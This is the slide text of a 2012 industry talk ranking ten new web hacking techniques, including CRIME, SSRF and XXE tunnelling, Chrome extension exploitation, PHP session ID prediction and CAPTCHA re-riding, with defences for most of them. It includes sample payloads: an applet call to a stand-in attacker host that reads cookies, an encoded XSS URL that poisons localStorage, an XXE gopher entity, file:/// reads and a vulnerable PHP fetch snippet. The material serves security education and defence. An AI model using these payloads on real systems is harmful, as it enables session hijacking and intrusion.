Top Ten Web Hacking Techniques of 2012

TOP TEN WEB HACKING
TECHNIQUES OF 2012

ABO U T

Jeremiah Grossman
• Founder & CTO of WhiteHat Security
• TED Alumni
• InfoWorld Top 25 CTO
• Co-founder of the WASC
• Co-author: XSS Attacks
• Former Yahoo! information security officer
• Brazilian Jiu-Jitsu Black Belt

Matt Johansen
• Head of WhiteHat's Threat Research Center
• BlackHat, DEFCON, RSA Speaker
• Oversees assessment of 15,000+ websites
• Background in Penetration Testing
• Hacker turned Management
• I'm hiring… a lot…

© 2013 WhiteHat Security, Inc. 2

ABO U T

WhiteHat Security, Inc.
• Founded 2001
• Head quartered in Santa Clara, CA
• Employees: 260+
• WhiteHat Sentinel: SaaS end-to-end website risk
management platform (static and dynamic analysis)
• Customers: 500+ (banking, retail, healthcare, etc.)


ABOUT THE TOP TEN


―Every year the security community produces a stunning
amount of new Web hacking techniques that are
published in various white papers, blog posts, magazine
articles, mailing list emails, conference
presentations, etc. Within the thousands of pages are
the latest ways to attack websites, Web
browsers, Web proxies, and their mobile platform
equivalents. Beyond individual vulnerabilities with CVE
numbers or system compromises, here we are solely
focused on new and creative methods of Web-based
attack.‖


H ISTO RY

Past Years
2011 • BEAST
(51 new techniques)

2010 • 'Padding Oracle' Crypto Attack
(69 new techniques)

2009 • Creating a rogue CA certificate
(80 new techniques)

2008 • GIFAR (GIF + JAR)
(70 new techniques)

2007 • XSS Vulnerabilities in Common
(83 new techniques) Shockwave Flash Files

2006 • Web Browser Intranet Hacking / Port
(65 new techniques) Scanning


T H E YEAR 2 0 1 2

56 NEW Techniques
1. CRIME
2. Pwning via SSRF (memcached, php-fastcgi, etc)
3. Chrome addon hacking
4. Bruteforce of PHPSESSID
5. Blended Threats and JavaScript
6. Cross-Site Port Attacks
7. Permanent backdooring of HTML5 client-side application
8. CAPTCHA Re-Riding Attack
9. XSS: Gaining access to HttpOnly Cookie in 2012
10.Attacking OData: HTTP Verb Tunneling, etc.

http://blog.whitehatsec.com/top-ten-web-hacking-techniques-of- 2012/


2 0 1 2 TO P T EN

Attacking Odata:
HTTP Verb
Tunneling, Navigation
Properties for Additional Data
Access,
System Query Options ($select)
―The Open Data Protocol (OData) is an open web protocol
for querying and updating data. OData enables the creation
of HTTP-based RESTful data services that can be used to
publish and edit resources that are identified using uniform
resource identifiers (URIs) with simple HTTP messages. This
paper looks at OData from a penetration testing perspective
and introduces various OData concepts as we progress.‖

Gursev Singh Kalra
http://www.mcafee.com/us/resources/white-papers/foundstone/wp-pentesters-guide-to-hacking-odata.pdf


2 0 1 2 TO P T EN

XSS: Gaining access
to HttpOnly Cookie in 2012
‗If the HttpOnly flag (optional) is included in the HTTP response header, the cookie cannot be
accessed through client side script. As a result, even if a cross-site scripting (XSS) flaw exists, and
a user accidentally accesses a link that exploits this flaw, the browser will not reveal the cookie to a
third party. The following describes techniques to gain access to HttpOnly cookie data via client-
side attack.‖

http://seckb.yehg.net/2012/06/xss-gaining-access-to-httponly-cookie.html


BASIC S

HttpOnly cookie flag

Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]

js> alert(document.cookie);
When a cookie has an HttpOnly cookie flag the
returned value is blank.

https://www.owasp.org/index.php/HttpOnly


H ISTO RY

CROSS-SITE TRACING (XST) [circa 2003]
Force cookie values into the body of the HTTP response where there is no
HttpOnly protection.
<script> TRACE / HTTP/1.1
var xmlhttp = new XMLHttpRequest(); Host: foo.bar
var url = 'http://foo.com/';
HTTP/1.1 200 OK
// send cookie header Date: Mon, 02 Dec 2002 19:24:51 GMT
xmlhttp.withCredentials = true; Server: Apache/2.0.40 (Unix)
xmlhttp.open('TRACE', url, false); Content-Type: message/http
xmlhttp.send(); TRACE / HTTP/1.1
</script> Host: foo.com
Cookie: httpOnly cookie value

Performing an XST attack, at the time, required either a cross-domain browser
vulnerability, or an XSS vulnerability in the target website.

https://www.owasp.org/index.php/Cross_Site_Tracing
http://www.cgisecurity.com/lib/WH-WhitePaper_XST_ebook.pdf


BR O W SER F IX

No TRACE (No TRACK)
Today, no modern browser allows javascript to use these HTTP request methods.

The same is true of Flash, Silverlight, and Java Applets. Well, almost…


XST 2 0 1 2

Java Applet (PoC)
getHeaderField, under the java.net.URLConnection package
Applet requests a URL and reads set-cookie response header
alert(new
java.net.URL('http://attacker.in/xss/cookie.php').openConnection().getHeaderFi
eld('set-cookie'));

“…a vulnerable page in a real-
world application may have
already issued the HttpOnly
cookie by the time the script has
executed.”

Might also be able force out all cookies by overloading them. Cookie Exhaustion.
http://www.slideshare.net/jeremiahgrossman/breaking-browsers-hacking-autocomplete-blackhat-usa-2010


SO L U T ION

UNINSTALL JAVA
[on the client, not the server]
For this and about 1,000 other [zero-day] reasons.


2 0 1 2 TO P T EN

CAPTCHA
Re-Riding Attack
―CAPTCHA Re-Riding Attack bypasses the CAPTCHA
protection built into the web applications. The attack exploits the
fact that the code that verifies CAPTCHA solutions sent by the
user during form submissions does not clear the CAPTCHA
solution from the HTTP Session.‖

Completely Automated Public Turing test to tell
Computers and Humans Apart

Gursev Singh Kalra
http://gursevkalra.blogspot.com/2012/03/captcha-re-riding-attack.html


BASIC S

CAPTCHA Protected Registration Flow


T EL LTAL E SIG N S

What to look for…
1) captcha.php is responsible for updating the HTTP session with correct CAPCHA
solution.
2) CAPTCHA solution inside the HTTP session is not explicitly cleared during the
verification process.
3) After registration succeeds, users are redirected to next step and the CAPTCHA
generation page (/captcha.php) is not likely called for current SESSION again.
Allows CAPTCHA solution to stay stored for as long as SESSION is valid.
Two possible vulnerable behavior:
a. Web application uses the same SESSIONID for the same HTTP session.
b. Web application generates a new SESSIONID for the same HTTP session.

In either case, the HTTP Session continues to store the CAPTCHA solution as it
is not explicitly cleared by the CAPTCHA verification code….


AT TAC K

3a)
1) Load the register page of the target website in a web browser.
2) Solve the CAPTCHA manually and submit the form.
3) Record form submission using a web proxy. This request contains a valid
SESSIONID, valid form fields, and a valid CAPTCHA solution.
4) Create a custom script that repeatedly sends this request to the server. With each
request change the unique values (like User ID) to create multiple new accounts
with a single CAPTCHA solution.


AT TAC K

3b)
1) Load the register page of the target website in a web browser.
2) Solve the CAPTCHA manually, and submit the form.
3) Trap this request in a web proxy and do not allow it to reach the web server. This
request contains a valid SESSIONID, valid form fields and a valid CAPTCHA
solution.
4) Create a custom script that repeatedly sends this request to server.
5) Submit one request.
6) Upon successful submission, the web application will reset the current SESSIONID
and send new SESSIONID back in response headers.
7) Change the value of SESSIONID in recorded request (step 3) to the value copied
from response in Step 6 above.
8) Go to step 5.
9) Able to make multiple successful submissions with single CAPTCHA solution.


D EF EN SE

―The best defense is to reset CAPTCHA solution inside the HTTP session during the
CAPTCHA verification stage. It is also important to note that when a website relies on
third-party CAPTCHA provider, it does not maintain any session information at its end
and CAPTCHA is performed by the CAPTCHA provider. These websites are not
vulnerable to CAPTCHA Re-Riding Attack.‖


2 0 1 2 TO P T EN

Permanent backdooring
of HTML5 client-side
application
―To improve performance, particularly for mobile users, many
websites have started caching app logic on client devices via HTML5
local storage. Unfortunately, this can make common injection
vulnerabilities even more dangerous, as malicious code can invisibly
persist in the cache. Real-world examples of this problem have now
been discovered in third-party ―widgets‖ embedded across many
websites, creating security risks for the companies using such
services – even if their sites are otherwise protected against
attacks.‖

Joey Tyson
http://securitymusings.com/article/3159/how-a-platform-using-html5-can-affect-the-security-of-your-website


PR ER EQ U ISIT ES

What to watch out for…
• A Web application caching [javascript] code in HTML5 local storage, rather than
routinely downloading it across the network every time the app/page is visited.
Developers find doing this may provide a significant performance boost, particularly
on mobile devices, where bandwidth and typical caches can be much more limited.

What the bad guy may do next…
• If the code saved in the local storage is compromised, via XSS exploit for
example, an attacker could inject malicious code that persists in the client-side
cache. This payload would then be executed by the web app each time a user
opens the site – even if they‘d previously closed the browser. A single ―reflected‖
XSS attack can poison the local storage for every following page the user visits on
that site.


M ASS PW N AG E

Making Matters Worse:
• Eradicating such [malicious] code can be quite difficult, and the victim website might
not even be able to detect an ongoing attack.
• Reminder: When a developer includes third-party JavaScript on his or her site, that
code has the same capabilities as any other script on the page.
• Modifying static file on a remote server is generally not possible, even if cross-site
scripting issues are present, but what if a third-party script from a site with XSS
problems also stored code in local storage?

“If content from the compromised origin is commonly embedded on third-party
pages (think syndicated „like‟ buttons or advertisements), with some
luck, attacker‟s JavaScript may become practically invincible.”
- Michal Zalewski

http://events.ccc.de/congress/2011/Fahrplan/events/4811.en.html
http://jeremiahgrossman.blogspot.com/2010/07/third-party-web-widget-security-faq.html


IN - T H E -WILD

Apture (acquired by Google):
• Provided pop-up boxes for exploring content
related to highlighted terms in a page.
• A 3rd-party ―widget‖ service that used local
storage code caching – and a page on the
same domain as those scripts had a reflected
XSS vulnerability which could be used to
inject malicious code in the cache. This code
would then be executed in the context of the
site using Apture. The problem with Apture‘s
service affected the security of many sites
across the web.


U SAG E

To use Apture widgets:

• Dynamically loaded an external script hosted on apture.com with a site token specified. This code
loaded another script based on the user‘s browser which actually began setting up the framework for
Apture to integrate with the site‘s content.
• The script inserted an inline frame into the page that loaded a file from cdn.apture.com. A callback
function allowed this iframe to pass messages back to the original window context where the script is
running (the non-Apture site). This iframe then loaded the actual app logic and passed the code back
to the original site via the cross-document messaging interface.
• Apture‘s iframe setup allowed them to take advantage of another HTML5 innovation that made their
service load much faster. Web storage functionality provides the localStorage object, a place to save
key/value data on the client which allows for more space and flexibility than cookies.
• Apture used a localStorage object for cdn.apture.com not only to save data, such as an ID for
tracking users, but to actually cache their app logic code. If the cdn.apture.com iframe detected that
this cache already existed, it would simply load the code from localStorage rather than issue another
HTTP request for the 272KB worth of JavaScript – saving time and bandwidth.


EXPL O ITAT ION

EVAL is EVIL

Like everyone else, Apture had an exploitable XSS vulnerability. This URL
includes a script that appends ―alert(document.cookie)‖ to the app logic in
localStorage:
http://cdn.apture.com/search/xss?yt=%22%3E%3Cscript%3Eif%28window.x%21%3D1%29%7Blo
calStorage%5B%27app-49971756%27%5D%3DlocalStorage%5B%27app-
49971756%27%5D%2b%22alert%28document.cookie%29%3B%22%7Dwindow.x%3D1%3C%
2fscript%3E
Once this vulnerability is used to insert attack code into localStorage, visiting any site that had
Apture‘s widgets would cause the attack code to be loaded from the Apture iframe and executed in
the context of the non-Apture site. Since this is essentially an example of DOM-based XSS (the
code is loaded dynamically on the client side), requests sent to those sites‘ servers would not
include any XSS fingerprints, such as <script> in a GET or POST parameter.
The localStorage code caching turned one reflected XSS vulnerability on Apture’s site into
persistent, client-side XSS across all domains using their service.


D EF EN SE

No Simple Answers 
Trade-offs between performance and risk
• Application cache, another new HTML5 features, is actually geared towards
precisely this use case and harder to compromise, but it can create UI
warnings in some browsers [Firefox]. (Such warnings are a good practice, but
undesirable for third-party widgets.)
• Data in local storage should be treated as untrusted, even if it‘s just content
instead of code.
• If local storage is used for scripts, it should be accessed from a domain only
serving static files, which reduces the likelihood of XSS vulnerabilities.
• Newer browsers also support features such as sandboxed inline frames and
Content Security Policy that could help limit the impact of embedded widgets if
they became compromised.


2 0 1 2 TO P T EN

Cross-Site
Port Attacks
―Many web applications provide functionality to pull data from other
webservers for various reasons. Using user specified URLs, web
applications can be made to fetch images, download XML feeds from
remote servers, text based files etc. This functionality can be abused
by making crafted queries using the vulnerable web application as a
proxy to attack other services running on remote/local servers.
Attacks arising via this abuse of functionality are named as Cross-
Site Port Attacks (XSPA).‖
―Riyaz Ahemed Walikar
http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-1.html

Robert Hansen
http://www.sectheory.com/intranet-hacking.htm


3 - T IER

XSPA allows attackers to abuse functionality in web applications to:
1. Port Scan remote Internet facing servers, intranet devices and the local web server itself.
2. Exploiting vulnerable programs running on the Intranet or on the local web server
3. Attacking internal/external web applications that are vulnerable to GET parameter based
vulnerabilities (SQLi via URL, parameter manipulation etc.)
4. Fingerprinting intranet web applications using standard application default files & behavior
5. Reading local web server files using the file:/// protocol handler.


T EL LTAL E SIG N


C O D E SAMPL E

<?php
if (isset($_POST['url']))
{
$link = $_POST['url'];
$filename = './curled/'.rand().'txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
?>


R EAL - W ORL D AT TAC K

Port Scanning using Google Webmaster Tools


AT TAC K



AT TAC K

Reading local files using file:/// protocol
Request: file:///C:/Windows/win.ini


AT TAC K

Adobe's Omniture web application file:///etc/passwd


D EF EN SE

• Response Handling: If a web application expects specific content type on the
server, programmatically ensure the data received satisfies checks imposed on the
server before displaying or processing the data for the client.
• Error handling and messages: Display generic error messages when something
goes wrong. If content type validation fails, display generic errors to the client like
"Invalid Data retrieved". Also ensure message are the same when the request fails
on the backend and if invalid data is received. This prevents the application from
being abused as distinct error messages will be absent for closed and open ports.
• Restrict connectivity to HTTP based ports: Restrict the ports to which the web
application can connect to, such as HTTP ports: 80, 443, 8080, 8090 etc. Doing so
can lower the attack surface.
• Blacklist IP addresses: Internal IP addresses, localhost specifications and internal
hostnames can all be blacklisted to prevent the web application from being abused
to fetch data/attack these devices.
• Disable unwanted protocols: Only allow http and https to make requests to
remote servers. Whitelisting these protocols will prevent the web application from
making requests over other protocols like file:///, gopher://, ftp:// and other URI
schemes.


2 0 1 2 TO P T EN

Blended Threats
and JavaScript
―During 2006, it was shown how common Web browser attacks could be
leveraged bypass perimeter firewalls. In the years since, the fundamental
problems were never addressed and the Intranet remains wide open, probably
because the attack techniques described had important limitations. These
limitations prevented mass scale and persistent compromise of network
connected devices, which include but are not limited to home broadband
routers. Now in 2012, with the help of new research and next-generation
technologies like HTML5, browser-based Intranet attacks have overcome many
of the old limitations and improved to a new degree of scary.‖

Phil Purviance and Josh Brashars
https://superevr.com/blog/2012/blended-threats-and-javascript/


BASIC S

Web Threats -> Network Compromise
• Utilize an XSS bug to poke holes in Intranet network
• Take advantage of very outdated security in routers
• Flash the firmware of that router via XSS, File Upload Abuse, &
CSRF
• Permanent compromise


T H E AT TAC K

Scan The Intranet

Yay HTML5!

JavaScript Intranet scan, nothing new or fancy but
does return a list of internal Ips that are up and
listening.


T H E AT TAC K

Gain Access

The easy way


Real World Examples


T H E AT TAC K

Gain Access

The less easy way


Basic Auth Brute Force


EXPL O IT

HTML5 File Upload

Load Malicious Firmware to memory
https://github.com/superevr/ddwrt-install-tool


D EF EN SE

Router
• Change default passwords!

Browser
• NoScript, Request Policy, Other XSS & CSRF protections


2 0 1 2 TO P T EN

Bruteforce
of PHPSESSID
―...We provide a number of practical techniques and algorithms for
exploiting randomness vulnerabilities in PHP applications. We focus on
the predictability of password reset tokens and demonstrate how an
attacker can take over user accounts in a web application via predicting
or algorithmically derandomizing the PHP core randomness generators.‖

Arseny Reutov, Timur Yunusov, and Dmitry Nagibin
http://blog.ptsecurity.com/2012/08/not-so-random-numbers-take-two.html

George Argyros and Aggelos Kiayias
http://crypto.di.uoa.gr/CRYPTO.SEC/Randomness_Attacks_files/paper.pdf
http://crypto.di.uoa.gr/CRYPTO.SEC/Randomness_Attacks.html


BASIC S

PHPSESSID =
md5( client IP . timestamp . microseconds1 . php_combined_lcg() )
• client IP is known to the attacker;
• timestamp is known through Date HTTP-header;
• microseconds1 – a value from 0 to 1000000;
• php_combined_lcg() – an example value is 0.12345678.

To generate php_combined_lcg(), two seeds are used:
S1 = timestamp XOR (microseconds2 << 11)
S2 = pid XOR (microseconds3 << 11)
• timestamp is the same;
• microseconds2 is greater than microseconds1 (when the first time measurement was made) by 0–3;
• pid is the id of the current process (0–32768, 1024–32768 on Unix);
• microseconds3 is greater than microseconds2 by 1–4.

“The greatest entropy is contained in microseconds1, however with the use of two
techniques it can be substantially reduced.”


T EC H N IQ UE 1

Adversarial Time Synchronization
ATS: Send a pair of HTTP requests to determine the moment when the second in the
Date HTTP header changes.

1) Connect to a web server and send request pairs: 1st to a non-
existent page so it‘ll take a minimum time for the web-server
to return the response. The 2nd to our target web-application. HTTP/1.1 200 OK
2) Get an average time interval between sending an HTTP Date: Wed, 08 Aug 2012 06:05:14 GMT
request and receiving the response (= RTT) …
HTTP/1.1 200 OK
3) When the seconds in Date HTTP-header of the two requests Date: Wed, 08 Aug 2012 06:05:15 GMT
changed approximate the time of remote microseconds in
local time using RTTs of the two requests divided by two and
offsetting the delay between requests.
4) If session_start() is called somewhere deeper in the code, you
may try to install the web-app locally and get the approximate
time when it is called.

“...the microseconds between our requests zeroed. By sending requests with dynamic
delays it is possible to synchronize local value of microseconds with the server one.”


T EC H N IQ UE 2

Request Twins
Attacker send two requests: the 1st — to reset their own password and the 2nd —
to reset that of an administrator. The gap between microseconds will be minimal.

To increase speed over the
PasswordPro module by
taking advantage of positive
linear correlation between
deltas of
microseconds, they created
their own application.

16 million hashes per second, seed calculation takes less than an hour on 3.2 GHz
Quad Core i5. Having pid and php_combined_lcg one can compute the seed used in
mt_rand. (timestamp x pid) XOR (106 x php_combined_lcg())

“if a web application uses standard PHP sessions, it is possible to obtain the random
numbers generated via mt_rand(), rand(), and uniqid().”


T EC H N IQ UE 3

Get mt_rand seed through random
numbers leakage
“The seed used for mt_rand is an unsigned integer 2^32. If a random number
leaked, it is possible to get the seed using PHP itself and rainbow tables. It takes
less than 10 minutes.”

The scripts to generate rainbow tables, search the seed, and ready-made tables
http://www.gat3way.eu/poc/mtrt/


SO L U T IONS

What to look for and code defense
“All the mt_rand(), rand(), uniqid(), shuffle(), lcg_value(), etc. The only secure
function is openssl_random_pseudo_bytes(), but it is rarely used in web
applications.”

• MySQL function RAND() — it can be also predicted though.
• Suhosin patch — does not patch mt_srand, srand. The Suhosin extension should
also be installed.
• /dev/urandom — the securest way.


2 0 1 2 TO P T EN

Chrome addon hacking
―Webpages can sometimes interact with Chrome addons and that
might be dangerous. Chrome addons fingerprinting, universal
XSS, bypass AdBlock, Chrome Extension Exploitation
Framework, and owning a system.‖

―Krzysztof Kotowicz
http://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.html
http://blog.kotowicz.net/2012/02/chrome-addons-hacking-want-xss-on.html
http://blog.kotowicz.net/2012/03/chrome-addons-hacking-bye-bye-adblock.html
http://blog.kotowicz.net/2012/07/xss-chef-chrome-extension-exploitation.html
http://blog.kotowicz.net/2012/09/owning-system-through-chrome-extension.html


H ISTO RY

Hacking Google ChromeOS
“Googleʼsdrive to move away from the desktop, and into the cloud results in desktop
applications being replaced with HTML5 & JavaScript rich extensions. These new
“desktop programs” seem to be more secure, because they do not have the classic
vulnerabilities that desktop applications end services have--buffer/stack/heap
overflows/underflows, format string attacks, plus many more. Since exploitation no
longer leads to shell, the real dangers and implications of any exploit seem to be
mitigated.
Unfortunately, this is not true. HTML and Javascript applications (Chrome Extensions)
are now vulnerable to standard HTML and Javascript attacks. The most serious, in this
situation, is Cross Site Scripting. By utilizing an XSS vulnerability in an extension, an
attacker can pivot from that extension, and take advantage of the permissions given to
it to attack and gain access to user information loaded in other tabs.”
-Matt Johansen & Kyle Osborn
BlackHat 2011 WhitePaper


BASIC S

Why Chrome Extensions?
• Basic HTML applications
• Access to extensive APIs
• Permissions set by 3rd party Dev
• Manifest.json
• Sandbox side-step

Exploitation
• Universal XSS via 1 extension bug
• chrome.tabs, chrome.history, chrome.cookies, chrome.proxy, API access make for
powerful attacks
• Filesystem access and remote code execution made easy


APPL IC AT IO N

BeEF & ChEF
• You‘ve found XSS in an extension, utilized it to exploit Javascript in any tab.
Now what? Browser Exploitation Framework & Chrome Extension Exploitation
Framework
• BeEF – Metasploit of the web. Makes reflective XSS more persistent and able to replay exploits
• ChEF – BeEF for Chrome Extensions.

• Monitor current sessions / open tabs
• Execute JavaScript on any site in any tab
• Access localStorage
• Read / write cookies
• Manipulate browser history
• Take screenshots
• Inject BeEF hooks to utilize their payloads and exploits


C H EF

ChEF Console


EXPL O ITAT ION

XSS Everywhere
• If an extension‘s ‗manifest.json‘ file has permissions set to ‗*‘
you can execute JavaScript anywhere in the browser with
‗chrome.tab.executeScript‘
• Bypass AdBlock:

By altering the DOM you can create a global whitelist


D EF EN SE

Beware


2 0 1 2 TO P T EN

Pwning via SSRF
(memcached, php-fastcgi, etc)
―SSRF, as in Server-Side Request Forgery. A great concept of the attack
which was discussed in 2008 with very little information about theory and
practical examples. The idea is to find victim server interfaces that will allow
sending packets initiated by victim's server to the localhost interface of the
victim server or to another server secured by firewall from outside. We have
found various SSRF vulnerabilities which allow internal network port
scanning, sending any HTTP requests from server, bruteforcing backed and
more but the most powerful technique was XXE Tunneling.‖
Alexander Polyakov
http://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_WP.pdf
http://erpscan.com/press-center/blog/ssrf-via-ws-adressing/
http://erpscan.com/wp-content/uploads/2012/11/SSRF.2.0.poc_.pdf


H ISTO RY

SSRF (CIRCA 2008)
“The first example of SSRF is an SMBRelay attack discussed by Deral Heiland at
Shmoocon in 2008 entitled, “Web Portals Gateway To Information Or A Hole In Our
Perimeter Defenses.” Some web-interfaces on corporate portals allow loading any
external resource like an iframe. The difference was that Web interface allows loading
files from other HTTP sources. It was done by portlets that were designed to deliver to
the user the requested information that the user cannot access directly. The portlet
runs a transaction to a connected system and then runs its response with information
to the portal user. These portlets makes portal a single point of access to internal
resources. This was a great example of SSRF attack via URL parameter of vulnerable
portlet.”

…

“Later, other examples of SSRF attacks were shown. Same ideas, but attack was
executed through XML External Entity vulnerability. “


BASIC S

Attack Flow
• Send Packet A to Service A
• Service A initiates Packet B to Service B
• Services can be on the same host or on
different hosts
• We can manipulate some fields of
Packet B within Packet A
• Various SSRF attacks depend on how
many fields we can control in Packet B

Exploitation
• Vulnerabilities like File Include, SQL Injection, XML External Entity or any other
vulnerability that allows executing commands that initiate calls to remote systems.
• Through enhanced rights in an application, when you can call HTTP pages or UNC
paths or use trusted connections.


C L ASSIF IC AT ION

Many classes of SSRF attacks (complicated)
• Trusted SSRF: Send requests (Packet B) to remote services, but only to those
which are somehow predefined.
• Remote SSRF: Requests (Packet B) to any remote IP and port. This type has
3 subtypes depending on how much data we can control:
• Simple Remote SSRF: No control on application level of Packet B
• Partial Remote SSRF: Control on some fields of application level of Packet B
• Full Remote SSRF: Full control on application level of Packet B


EXAMPL ES

Trusted SSRF attacks

MSSQL: Need at least public rights to use MSSQL trusted links. Links can be with
predefined passwords. The attacker can use them in Host A to forge requests and obtain
responses from Host B.
Select * from openquery(HostB,'select * from @@version')]

Oracle: Links can be with predefined passwords. The attacker can use them to forge
requests and obtain responses from host B.
SELECT * FROM myTable@HostB
EXECUTE mySchema.myPackage.myProcedure('someParameter')@HostB


EXAMPL ES

Simple Remote SSRF
SAP NetWeaver ipcpricing: Scan an internal network from the Internet by sending
different HTTP requests to JSP pages.
/ipcpricing/ui/BufferOverview.jsp?server=172.16.0.13&port=31337&dispatcher=&targetCli
ent=


XXE T U N N EL IN G

Partial Remote SSRF
XXE Tunneling (via Gopher): XML External Entity (XXE) is a very popular vulnerability
in XML Parser. External entities force the XML parser to access the resource specified by
the URI, e.g., a file on the local machine or on a remote systems.
• Makes a TCP connection with 172.16.0.1 and port 3300 and then send a packet
containing string 23456789 (the first symbol will be cut).

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY date SYSTEM ―gopher://172.16.0.1:3300/AAAAAAAAA" >]>
<foo>&date;</foo>


D IAG R AM


AD VAN C ED

XXE Tunneling to Buffer Overflow
• A buffer overflow vulnerability found by Virtual Forge in ABAP Kernel (fixed in sapnote
1487330)
• Shellcode size is limited to 255 bytes (name parameter)
• As we don‘t have direct connection to the Internet from the vulnerable system, we
want to use DNS tunneling shellcode to connect back


PAC KET B


PAC KET A

Insert Packet B into Packet A
• We need to insert non-printable symbols. Gopher supports urlencode like HTTP
• Also help evade attack against IDS systems


FULL CONTROL


C O U N T ER -AT TAC K

SSRF back connect attack
We send a command from Server A to our Server C using SSRF, and then we generate a
response which will trigger a vulnerability in an application from Server A.
SMB client
• DoS by reading huge files remotely
• SMBRelay
• RCE Vulnerabilities in SMB client
Memory corruption vulnerabilities in FTP client
Client path traversal
JAR parser
mailto: parser
HTTP client
• DoS by multiple entities with links to big data
• DoS by multiple GZIP bomb


2 0 1 2 TO P T EN

CRIME
―Compression Ratio Info-leak Made Easy (CRIME) is a
security exploit against secret web cookies over connections
using the HTTPS and SPDY protocols that also use data
compression. When used to recover the content of secret
authentication cookies, it allows an attacker to perform session
hijacking.‖

Juliano Rizzo and Thai Duong
http://netifera.com/research/crime/CRIME_ekoparty2012.pdf
http://en.wikipedia.org/wiki/CRIME_(security_exploit)
http://arstechnica.com/security/2012/09/crime-hijacks-https-sessions/


BASIC S

CRIME
Decrypts HTTPS traffic to steal cookies and hijack sessions. Requirements to
become a victim:

1) Attacker can sniff your network traffic.
2) Victim visits evil.com
3) Both the browser and server support any
version of TLS compression or SPDY

Previously *
Vulnerable

Never
Vulnerable

Gmail, Twitter, Dropbox, GitHub, etc.
“42% of sites surveyed by his service support TLS compression.” Ivan Ristic
https://www.ssllabs.com/index.html


SID E - C H AN NEL

CRIME: Chosen Plaintext Attack
• Compression reduces the number of bytes contained in a data stream
by removing redundant bits. A side effect of compression is it leaks
clues about the encrypted contents, providing a "side channel" to those
with the ability to monitor the data.
• By modifying the clear-text payload hundreds or thousands of times
and watching how each one interacts with the encrypted
data, attackers can deduce its contents.
• An encrypted message is combined with attacker-controlled JavaScript
that, letter by letter, performs a brute-force attack on the secret key.
When it guesses the letter X as the first character of the cookie
secret, the encrypted message will appear differently than an
encrypted message that uses W or Y.
• Once the first character is correctly guessed, the attack repeats the
process again on the next character in the key until the remainder of
the secret is deduced. The use of JavaScript isn't necessary, but does
make the brute-force attack faster.

http://arstechnica.com/security/2012/09/crime-hijacks-https-sessions/


AT TAC K F L O W

"Basically, the attacker is running script in Evil.com. He forces the browser to open
requests to Bank.com by, for example, adding <img> tags with src pointing to
Bank.com," Rizzo said. "Each of those requests contains data from mixed sources.”

In these requests, attacker data and data produced by the browser is compressed and
mixed together. Those requests can include the path, which the attacker controls, the
browser's headers, which are public, and the cookie, which should be secret.

"The problem is that compression combines all
those sources together," Rizzo added. "The
attacker can sniff the packets and get the size
of the requests that are sent. By changing the
path, he could attempt to minimize the request
size, i.e., when the file name matches the
cookie."

http://threatpost.com/en_us/blogs/crime-attack-uses-compression-ratio-tls-requests-side-channel-hijack-secure-sessions-091312


D EMO

Video demo shows Github.com, Dropbox.com, and Stripe.com, when visited with
a then-patched version of Chrome, succumbing to the CRIME attack. All three of
disabled compression and no longer vulnerable.

https://www.youtube.com/watch?v=gGPhHYyg9r4

D EF EN SE

Browser
Upgrade browsers to the latest version.

Server
Disable compression.


WHAT WE’VE LEARNED


L ESSO N S

• What’s old is new and improved: Many Web attack techniques from
previous years, including those not appearing on the Top Ten, are
constantly being improved. Researchers leverage new technology
functionality and combine previously known techniques and produce
combinations.
• 3-Peat: Encryption related attack techniques, by Juliano Rizzo and
Thai Duong, took the #1 spot 3 years in a row (BEAST in 2011 and
Padding Oracle in 2010). Web security community respects deep
technical research.
• Attack and Researcher Diversity: In 2012 we saw attack techniques
focused on encryption, HTML5 / client-side, mobile, infrastructure
server-side, intranet, session state, etc. The range of expertise to keep
up with all the new cutting-edge research is at the very least, a full-time
job. And the researchers themselves are located across the globe.


Thank you to…

• All Web security researchers
• Panel of Judges: Ryan Barnett, Robert Auger, Robert Hansen (CEO, Falling Rock
Networks) Dinis Cruz, Jeff Williams (CEO, Aspect Security), Peleus Uhley, Romain
Gaucher (Lead Researcher, Coverity), Giorgio Maone, Chris Wysopal, Troy
Hunt, Ivan Ristic (Director of Engineering, Qualys), and Steve Christey (MITRE)
• Everyone in the Web security community who assisted with voting

JEREMIAH GROSSMAN MATT JOHANSEN
Founder and CTO Head of the Threat Research Center

Twitter: @jeremiahg Twitter: @mattjay
Email: jeremiah@whitehatsec.com Email: matt@whitehatsec.com

Top Ten Web Hacking Techniques of 2012

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